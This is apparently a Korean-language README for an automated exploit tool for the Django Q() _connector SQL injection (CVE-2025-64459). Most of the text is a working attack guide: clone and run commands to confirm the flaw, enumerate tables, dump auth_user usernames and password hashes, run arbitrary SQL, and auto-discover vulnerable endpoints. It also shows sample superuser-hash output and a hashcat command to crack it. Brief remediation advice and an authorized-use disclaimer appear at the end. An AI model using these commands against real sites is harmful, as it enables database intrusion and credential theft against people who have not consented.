
NEO-SQLi — Django _connector SQL Injection (CVE-2025-64459) 익스플로잇 | RedTeam Brasil 채널
Django ORM의 SQL 인젝션 자동 익스플로잇
Q-object _connector · CVE-2025-64459
🎥 RedTeam Brasil 채널 — 포르투갈어로 실전 공격 보안.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ RedTeam Brasil 채널
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ 승인된 사용만 허용
Django ORM은 Q() 객체로 필터를 구성합니다. 생성자
Q(*args, _connector=None, _negated=False, **kwargs)는 특별한 kwargs
**_connector**를 받습니다 — WHERE 내 조건을 연결하는 문자열(AND/OR).
영향을 받는 버전에서는 이 값이 검증되지 않고 SQL에 그대로 들어갔습니다.
애플리케이션이 사용자 입력을 딕셔너리 확장을 통해 Q() / .filter() /
.exclude() / .get()에 직접 전달할 때 — 전형적인 안티패턴:
# ❌ 취약함
posts = Post.objects.filter(Q(**request.GET)) # 또는 .filter(**request.GET)
…공격자는 _connector를 제어하고 조건 사이에 임의의 SQL을 주입할 수 있습니다
(SQLite, PostgreSQL, MySQL 등에서 동작).
| 항목 | 세부사항 |
|---|---|
| CVE | CVE-2025-64459 |
| 구성 요소 | django.db.models — Q() / QuerySet (_connector 및 컬럼 별칭) |
| 영향받는 버전 | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| 수정 | 4.2.26 / 5.1.14 / 5.2.8(이후)로 업데이트 |
| 영향 | 데이터베이스 임의 읽기(UNION/blind) → 자격 증명 덤프 및 체인 확장 |
DEBUG = True인 경우 익스플로잇이 쉬워집니다: Django 오류 페이지가 구성된 SQL, 기본 테이블, 컬럼 수를 반환합니다 — 도구가 자동으로 UNION을 구성하는 데 필요한 정확한 정보입니다.
일반적인(특정 대상에 국한되지 않음) 자동화된 익스플로러:
--auto): 홈페이지 크롤링 + robots/sitemap + 내장 워드리스트로 각 경로를 Django의 FieldError로 테스트.DEBUG=True를 FieldError로 감지.--proxy 사용) 및 HTTPS 대상.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) 취약점 확인
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) 테이블 목록 조회
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) 특정 테이블의 컬럼 목록 조회
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) 덤프 (특정 컬럼 또는 전체)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) Django 사용자 바로가기
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) 자유 SQL 표현식
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) 대화형 모드 (메뉴: 테이블 → 컬럼 → 덤프)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) 경로를 모르겠다면? 자동 탐색
python3 rtb_connector_sqli.py -u http://ALVO auto # 탐색 및 목록만
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # 탐색 후 즉시 익스플로잇
--auto(또는auto서브커맨드)를 사용하면 홈페이지 크롤링 +robots.txt/sitemap.xml+ Django의FieldError를 반환하는 경로를 찾기 위해 내장 워드리스트(EN + PT-BR + API)를 실행합니다. 잘못된--path를 전달하면 자동으로 탐색 모드로 전환됩니다.
| 플래그 | 설명 |
|---|---|
--path /buscar | 취약한 엔드포인트 (기본값 /list) |
--auto | 엔드포인트 자동 탐색 (크롤링 + 워드리스트) |
--wordlist rotas.txt | 탐색에 추가할 경로 파일 (한 줄에 하나) |
--base app_model | 기본 테이블 강제 지정 (자동 감지 실패 시) |
--proxy http://127.0.0.1:8080 | 모든 트래픽을 Burp / mitmproxy로 전송 |
# Burp를 통해 전송
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# 또는 환경 변수 사용 (플래그 없이)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] 대상: http://ALVO/list
[+] 모델 필드 (6개): author, content, created_at, id, status, title
[+] `_connector`에서 SQLi 확인됨 (CVE-2025-64459). near "'RTB'": syntax error
[+] 기본 테이블: <app>_<model> · SELECT 컬럼 수: 6
[+] 반영된 컬럼 (읽기 가능): 위치 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
슈퍼유저 해시를 획득한 후:
hashcat -m 10000 hash.txt rockyou.txt # Django는 pbkdf2_sha256 사용
request.GET을 Q()/.filter()에 절대 직접 전달하지 마세요. 허용 목록 사용:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False (SQL/테이블/설정 노출 방지).교육용 및 승인된 테스트 (랩, CTF, 범위 내 버그 바운티, 계약된 침투 테스트) 전용 도구입니다. 명시적 승인 없이 시스템에 사용하는 것은 범죄입니다 — 모든 책임은 사용자에게 있습니다.
RedTeam Brasil 제작 · 마음에 드셨다면 좋아요와 채널 구독 부탁드립니다.